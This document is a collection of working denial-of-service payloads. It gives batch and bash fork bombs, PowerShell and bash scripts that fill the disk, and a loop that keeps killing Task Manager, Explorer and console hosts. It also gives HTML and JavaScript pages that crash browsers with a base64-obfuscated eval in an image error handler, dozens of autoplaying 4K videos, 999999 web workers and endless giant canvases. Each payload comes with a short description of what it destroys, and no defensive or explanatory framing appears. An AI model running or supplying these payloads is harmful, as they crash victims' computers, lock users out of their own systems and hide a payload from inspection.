Batch: Fork Bomb Windows
Creates exponentially more processes until the computer crashes
@echo off
%0|%0
Powershell: Memory Crash Windows
Doubles the size of a file until the disk fails or the disk fills up
write-output $(Get-random) >> cpfile
while ($TRUE) {get-content cpfile | write-output >> cpfile}
Powershell: Anti-Enumeration Windows
Prevents a user from opening files, starting/stopping processes, using terminals, and opening new apps
while ($TRUE) {Get-Process | Where-Object {$_.name -match "taskmgr|explorer|conhost"} | foreach-object {$_.kill()} 2>$NULL }
Bash: Fork Bomb Linux
Creates exponentially more processes until the computer crashes
#!/bin/bash
:(){ :|:& };:
Bash: Memory Crash Linux
Writes random data to a file until the disk fills up
#!/bin/bash
while ($true) do cat /dev/urandom >> /tmp/random & done
HTML: Doubling Integer DOS Web
Doubles an integer in the user"s browser until the browser or computer crashes. NOTE: command is encoded in base64
<!DOCTYPE html>
<html>
<img src="#" onerror="eval(atob('bnVtID0gMTt3aGlsZSgxKXtudW0gKj0gMjtjb25zb2xlLmxvZyhudW0pO30='))">
</html>
HTML: Excessive Video Streaming DOS Web
Attempts to load 30+ 4k videos at the same time until the browser or computer crashes. NOTE: may take longer to see effects on higher performance systems
<!DOCTYPE html>
<html>
<table style="border-collapse: collapse; width: 0.001%;" border="0"><colgroup><col style="width: 0.001%;"><col style="width: 0.001%;"><col style="width: 0.001%;"></colgroup>
<tbody>
<tr>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://upload.wikimedia.org/wikipedia/commons/4/47/Menger16KVR_16000x8000p60_20220106_VP9_fast_wiki.webm"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/08/19/45/86/240_F_819458692_1BbqJS1DfSS6wscFetX9hTPtJdIteSIU_ST.mp4"></td>
<td><video autoplay="" loop="" width="1"><source src="https://v.ftcdn.net/05/76/98/96/240_F_576989687_AX7lhsZWEpQYMOQc3po7WLLhyCJ9izuj_ST.mp4"></td>
</tr>
</tbody>
</table>
</html>
HTML: Worker Overload Web
Starts creating workers (HTML5 only) to cause the browser crash
<!DOCTYPE html>
<html>
<script>
const numWorkersEl = document.getElementById('numWorkers');
const dutyEl = document.getElementById('duty');
const workerStats = document.getElementById('workerStats');
numWorkersEl.value = 999999;
dutyEl.value = 500;
let workers = [];
let workerInterval = null;
let cpuSamples = [];
let longTaskMs = 0;
let lastTick = performance.now();
const workerBlob = new Blob([`
let running = false;
let timer = null;
function burst(ms){
const end = performance.now() + ms;
let x = 0;
while (performance.now() < end) {
x += Math.sqrt(Math.random()) % 1;
}
postMessage({ok:true, x});
}
onmessage = (e) => {
const {cmd, ms} = e.data || {};
if (cmd === 'start' && !running) {
running = true;
const loop = () => {
if (!running) return;
burst(ms);
timer = setTimeout(loop, Math.max(0, 1000 - ms));
};
loop();
} else if (cmd === 'stop') {
running = false;
if (timer) clearTimeout(timer), timer = null;
close();
}
};
`], { type: 'text/javascript' });
const n = 999999;
const ms = Math.max(0, +dutyEl.value);
workers = Array.from({ length: n }, () => new Worker(URL.createObjectURL(workerBlob)));
for (const w of workers) w.postMessage({ cmd: 'start', ms });
cpuSamples = [];
lastTick = performance.now();
workerStats.textContent = `Running ${n} worker(s) at ~${ms} ms/sec each…`;
workerInterval = setInterval(() => {
const now = performance.now();
const dt = now - lastTick;
lastTick = now;
const blocked = longTaskMs; longTaskMs = 0;
cpuSamples.push({ dt, blocked });
if (cpuSamples.length > 10) cpuSamples.shift();
const avgBlocked = cpuSamples.reduce((a,b)=>a+b.blocked,0) / Math.max(1, cpuSamples.length);
const pct = Math.min(100, Math.round((avgBlocked / 1000) * 100));
workerStats.textContent = `Running ${n} worker(s) · Duty ${ms} ms/sec · Recent long-task time ≈ ${pct}%`;
}, 1000);
</script>
</html>
HTML: Too Many Canvases Web
Creates 4096x4096 canvases as fast as possible to overload system resources
<!DOCTYPE html>
<html>
<canvas id="c" width="4096" height="4096" style="width:4096px; height:4096px; display:block; border:1px solid #ccc;"></canvas>
<div id="canvasStats" style="margin:.5rem 0;"></div>
<script>
document.addEventListener('DOMContentLoaded', () => {
const STEP_MS = 0;
window.scrollTo({ top: document.body.scrollHeight, behavior: "smooth" });
const grid = document.createElement('div');
grid.id = 'canvasGrid';
grid.style.display = 'grid';
grid.style.gridTemplateColumns = 'repeat(auto-fill, 256px)';
grid.style.gap = '8px';
const statsEl = document.getElementById('canvasStats');
const first = document.getElementById('c');
first.width = 4096; first.height = 4096;
first.style.width = '4096px'; first.style.height = '4096px';
statsEl.parentNode.insertBefore(grid, statsEl);
grid.appendChild(first);
function drawInto(canvas) {
const ctx = canvas.getContext('2d', { willReadFrequently: false, alpha: false, desynchronized: true });
if (!ctx) return;
ctx.fillStyle = '#eaeaea';
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = '#222';
ctx.fillRect(0, 0, canvas.width / 2, canvas.height / 2);
ctx.fillRect(canvas.width / 2, canvas.height / 2, canvas.width / 2, canvas.height / 2);
}
drawInto(first);
let count = 1;
let timer = null;
function addOne() {
const cnv = document.createElement('canvas');
cnv.width = 4096; cnv.height = 4096;
cnv.style.width = '4096px'; cnv.style.height = '4096px';
drawInto(cnv);
grid.appendChild(cnv);
timer = setTimeout(addOne, STEP_MS);
}
timer = setTimeout(addOne, STEP_MS);
});
</script>
</html>